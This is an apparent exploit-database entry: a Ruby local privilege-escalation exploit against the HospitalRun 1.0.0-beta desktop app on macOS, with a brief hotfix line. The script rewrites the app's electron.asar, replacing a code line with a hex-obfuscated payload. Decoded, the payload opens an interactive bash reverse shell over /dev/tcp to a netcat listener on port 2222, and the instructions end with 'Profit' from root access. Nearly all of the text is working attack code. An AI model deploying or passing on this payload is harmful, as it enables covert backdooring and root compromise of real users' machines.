HospitalRun 1.0.0-beta - Local Root Exploit for macOS

# Exploit Title: HospitalRun  1.0.0-beta - Local Root Exploit for macOS
# Written by Jean Pereira <[email protected]>

# Date: 2023/03/04
# Vendor Homepage: https://hospitalrun.io
# Software Link: https://github.com/HospitalRun/hospitalrun-frontend/releases/download/1.0.0-beta/HospitalRun.dmg
# Version: 1.0.0-beta
# Tested on: macOS Ventura 13.2.1 (22D68)

# Impact: Command Execution, Privilege Escalation

# Instructions:
# Run local TCP listener with (e.g. nc -l 2222)
# Run exploit
# Wait for HospitalRun to be executed
# Profit (privileged rights e.g. root are gained)

# Hotfix: Remove write permissions from electron.asar to patch this vulnerability

# Exploit:

buffer =  "\x63\x6F\x6E\x73\x74\x20\x72\x65\x6E" +
          "\x64\x65\x72\x50\x72\x6F\x63\x65\x73" +
          "\x73\x50\x72\x65\x66\x65\x72\x65\x6E" +
          "\x63\x65\x73\x20\x3D\x20\x70\x72\x6F" +
          "\x63\x65\x73\x73\x2E\x61\x74\x6F\x6D" +
          "\x42\x69\x6E\x64\x69\x6E\x67\x28\x27" +
          "\x72\x65\x6E\x64\x65\x72\x5F\x70\x72" +
          "\x6F\x63\x65\x73\x73\x5F\x70\x72\x65" +
          "\x66\x65\x72\x65\x6E\x63\x65\x73\x27" +
          "\x29\x2E\x66\x6F\x72\x41\x6C\x6C\x57" +
          "\x65\x62\x43\x6F\x6E\x74\x65\x6E\x74" +
          "\x73\x28\x29"

payload = "\x72\x65\x71\x75\x69\x72\x65\x28\x22" +
          "\x63\x68\x69\x6C\x64\x5F\x70\x72\x6F" +
          "\x63\x65\x73\x73\x22\x29\x2E\x65\x78" +
          "\x65\x63\x53\x79\x6E\x63\x28\x22\x2F" +
          "\x62\x69\x6E\x2F\x62\x61\x73\x68\x20" +
          "\x2D\x63\x20\x27\x65\x78\x65\x63\x20" +
          "\x62\x61\x73\x68\x20\x2D\x69\x20\x3E" +
          "\x2F\x64\x65\x76\x2F\x74\x63\x70\x2F" +
          "\x30\x2E\x30\x2E\x30\x2E\x30\x2F\x32" +
          "\x32\x32\x32\x20\x30\x3E\x26\x31\x27" +
          "\x22\x29"

nopsled = "\x2F\x2A\x2A\x2A\x2A" +
          "\x2A\x2A\x2A\x2A\x2F"

File.open("/Applications/HospitalRun.app/Contents/Resources/electron.asar", "rb+") do |file|
  electron = file.read
  electron.gsub!(buffer, payload + nopsled)
  file.pos = 0
  file.write(electron)
end